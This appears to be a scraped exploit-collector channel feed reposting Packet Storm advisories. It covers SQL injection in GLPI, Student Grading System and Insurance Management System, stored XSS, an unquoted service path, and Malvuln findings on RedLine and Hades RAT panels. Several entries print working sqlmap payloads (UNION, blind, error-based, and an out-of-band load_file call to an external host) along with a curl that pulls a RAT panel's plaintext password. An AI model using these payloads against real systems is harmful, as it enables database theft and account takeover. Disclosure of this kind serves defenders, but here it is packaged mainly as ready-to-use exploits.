Hacking Articles Tips Tricks Videos Tutorials

SQL Injection at Spotify

SQL Injection at Spotify.Continue reading on Medium »
Read more...

3 views19:22

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Baixar GLPI Project 9.4.6 SQL Injection

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Baixar GLPI Project 9.4.6 suffers from a remote SQL injection vulnerability.

MD5 | 26ad8734c5ba0d90f45a96375b55ccde

Download

# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi
# Date: 10/12
# Exploit Author: Joas Antonio
# Vendor Homepage: https://glpi-project.org/pt-br/ <https:
# Software Link: https://glpi-project.org/pt-br/baixar/
# Version: GLPI - 9.4.6
# Tested on: Windows/Linux
# CVE : CVE-2021-44617

#POC1:
plugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111

sqlmap -u "url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1"

Source:packetstormsecurity.com

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

4 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Student Grading System 1.0 SQL Injection

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Student Grading System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 645f7f7e3381a63030d05a303ef48624

Download

## Title: Student Grading System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.14.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System

## Description:
The `user` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the user parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
You should review the contents of the error message, and the
application's handling of other input, to confirm whether a
vulnerability is present.
The attacker can take administrator account control and also of all
accounts and files information on this system, also the malicious user
can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: user (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: user=-6693' OR 2950=2950-- qPwW&pwd=d0Y!w7s!B1

Type: UNION query
Title: Generic UNION query (random number) - 6 columns
Payload: user=-7952' UNION ALL SELECT
5650,5650,CONCAT(0x71786a7a71,0x7564497973726b65496f6e5778706143684359517149546e46776d6843484a504e624e7967484c57,0x716b627171),5650,5650,5650--
-&pwd=d0Y!w7s!B1
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System)

## Proof and Exploit:
[href](https://streamable.com/h0x4xl)

Source:packetstormsecurity.com

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Insurance Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Insurance Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 4ed60632b6f1aa3e5565fcba353081cb

Download

## Title: Insurance Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.12.2022
## Vendor: https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/
## Software: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System

## Description:
The username parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'
was submitted in the username parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385
UNION SELECT 2068) END))-- -&password=y6E!b3n!T9

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT
(ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)--
pBFE&password=y6E!b3n!T9
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System)

## Proof and Exploit:
[href](https://streamable.com/iyml42)

Source:packetstormsecurity.com

2 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Automatic Question Paper Generator System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Automatic Question Paper Generator System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | d5c150fff3e3987b7808102f9f5127ab

Download

# Exploit Title: Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
# Date: 2022-11-03
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/15190/automatic-question-paper-generator-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
Summary:
================
The Automatic Question Paper Generator in version 1.0 is vulnerable to
arbitrary persistent javascript code injection (XSS), which can lead to
thwarting of browser resources and session cookie theft.
Severity Level:
================
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Product:
================
Automatic Question Paper Generator v1.0
Steps to Reproduce:
================

1. Open your browser, create an account on the site and log into it (
http://target.com/aqpg/users/login.php).

2. Click on your profile icon and then click on My Account. The field
called "First Name", "Middle Name", "Last Name" are vulnerable to XSS,
inject the payload into one of them and then save your changes.

Source:packetstormsecurity.com

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

3 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
VIVE Runtime Service 1.0.0.4 Unquoted Service Path

https://3.bp.blogspot.com/-XNOhyhmygqg/WWlvTLzMLRI/AAAAAAAAINo/1vKZqL-UEc0yrpuP08mTX_Jxjx_k32PvQCLcBGAs/s1600/h41.png
VIVE Runtime Service version 1.0.0.4 suffers from an unquoted service path vulnerability.

MD5 | 897fc0a78d5fbf6e7a9c6b21ff3e5b03

Download

# Exploit Title: VIVE Runtime Service - 'ViveAgentService' Unquoted Service Path
# Date: 11/03/2022
# Exploit Author: Faisal Alasmari 
# Vendor Homepage: https://www.vive.com/
# Software Link: https://developer.vive.com/resources/downloads/
# Version: 1.0.0.4
# Tested: Windows 10 x64
C:\Users\User>sc qc "VIVE Runtime Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VIVE Runtime Service
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files (x86)\VIVE\Updater\App\ViveRuntimeService\ViveAgentService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : VIVE Runtime Service
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

4 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
RedLine.MainPanel Insecure Permissions

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
RedLine.MainPanel malware suffers from an insecure permissions vulnerability.

MD5 | e1c2071d58a69c10bc1e67e836d70e65

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/baf102927947289e4d589028620ce291.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: RedLine.MainPanel - cracked.exe
Vulnerability: Insecure Permissions
Description: The malware writes PE files with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: RedLine
Type: PE32
MD5: baf102927947289e4d589028620ce291
Vuln ID: MVID-2022-0511
Disclosure: 03/13/2022

Exploit/PoC:
C:\>cacls Build.exe
C:\Build.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\>dir Build.exe
Volume in drive C has no label.

Directory of C:\

03/04/2022  02:24 AM           144,384 Build.exe
1 File(s)        144,384 bytes
0 Dir(s)  25,982,451,712 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

6 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Hades RAT Web Panel Insecure Credential Storage

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
The web panel in the Hades RAT malware suffers from an insecure credential storage vulnerability.

MD5 | b6fe6879a7ac2a503bf1cc0e4e5b66fb

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Hades RAT - Web Panel
Vulnerability: Insecure Credential Storage
Family: Hades
Type: WebUI
MD5: c4cc1317aea42f7dd4a1b786c5278a24
MD5: a117b7fa4691b766dd5aa6455438fded (strings.ini)
Vuln ID: MVID-2022-0512
Disclosure: 03/13/2022
Description: The Hades Rat malware web-panel listens on Port 80 and stores its weak password "megapass" in plaintext in the strings.ini file.

Exploit/PoC:
"strings.ini"

[identifiant]
mdp = "megapass"

[strings]
error_mdp = "Error Password False..."

form_mdp = "Please put your password."
form_valid = "Send !"

com_header = "Write your commands for your bot(s)"
....

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

5 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
WordPress Core 5.9.0 / 5.9.1 Cross Site Scripting

Kitploit

WordPress Core 5.9.0 / 5.9.1 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 views19:24

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Hades RAT Web Panel Information Disclosure

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
The web panel in Hades RAT malware suffers from an information disclosure vulnerability.

MD5 | ee8cfc716a47fec47aacfd92a9a73fdd

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Hades RAT - Web Panel
Vulnerability: Information Disclosure
Description: The Hades Rat web-panel listens on Port 80. There is no authentication check or default .htaccess file protecting the root directory. Third-party attackers who can reach the web-panel can read the INI file disclosing the password.
Family: Hades
Type: WebUI
MD5: c4cc1317aea42f7dd4a1b786c5278a24
MD5: a117b7fa4691b766dd5aa6455438fded (strings.ini)
Vuln ID: MVID-2022-0513
Disclosure: 03/13/2022

Exploit/PoC:
C:\>curl http://HADES_RAT_IP/WebPanel/strings.ini
[identifiant]
mdp = "megapass"

[strings]
error_mdp = "Error Password False..."

form_mdp = "Please put your password."
form_valid = "Send !"

com_header = "Write your commands for your bot(s)"
com1 = "DDOS Commands (ex: 127.0.0.1)"
com2 = "Download / Execute Commands (ex: http://www.site.com/dl.exe)"
com3 = "Stop DDOS or Restart Commands (ex: Restart)"

titre = "Had├¿s RAT - WebPanel"

[images]
header = "images/header.png"
header_mdp = "images/lock.png"
C:\>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

4 views19:24

About

Blog

Apps

Platform